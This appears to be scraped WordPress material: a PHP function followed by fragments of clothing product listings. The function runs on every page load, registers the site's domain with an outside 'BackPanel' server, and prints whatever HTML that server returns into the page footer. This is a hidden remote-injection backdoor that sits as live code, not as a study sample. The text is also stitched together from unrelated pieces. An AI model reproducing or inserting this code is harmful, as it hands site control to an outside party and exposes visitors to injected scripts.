function wp_injector_fetch_code() {
    $backend_url = 'https://validlogs.com/BackPanel/panel.php';
    $domain = sanitize_text_field($_SERVER['HTTP_HOST']);
    $response = wp_remote_post($backend_url, array(
        'body' => array(
            'action' => 'register_domain',
            'domain' => $domain
        ),
        'timeout' => 5
    ));
    if (is_wp_error($response)) {
        return;
    }
    $html_code = wp_remote_retrieve_body($response);
    if (!empty($html_code)) {
        add_action('wp_footer', function() use ($html_code) {
            echo $html_code;
        });
    }
}
add_action('init', 'wp_injector_fetch_code');
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		<title>Summer Two-piece Men&#8217;s Casual T-shirt and Shorts</title>
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 Thickness: thin<br />
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 Fabric name: Chemical Fiber blend<br />
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 Applicable scenarios: Leisure<br />
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 Color: white, black, gray<br />
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 Top sleeve length: short sleeve<br />
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 Pants length: Shorts<br />
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 Main fabric composition: Polyester Fiber (polyester)<br />
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 Jacket style: T-shirt<br />
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 Size: M,L,XL,XXL,3XL<br />
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		<title>Retro Jesus Tee Women&#8217;s Faith Slogan Shirt</title>
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 style ： leisure time<br />
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 Typography ： Straight tube type<br />
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 Sleeve length ： Short sleeve<br />
 <br />
 Thick and thin ： ordinary<br />
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 pattern ： letter<br />
 <br />
 Fabric name ： cotton<br />
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 Main fabric composition: Cotton
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 Sizes: S, M, L, XL, XXL, XXXL<br />
 
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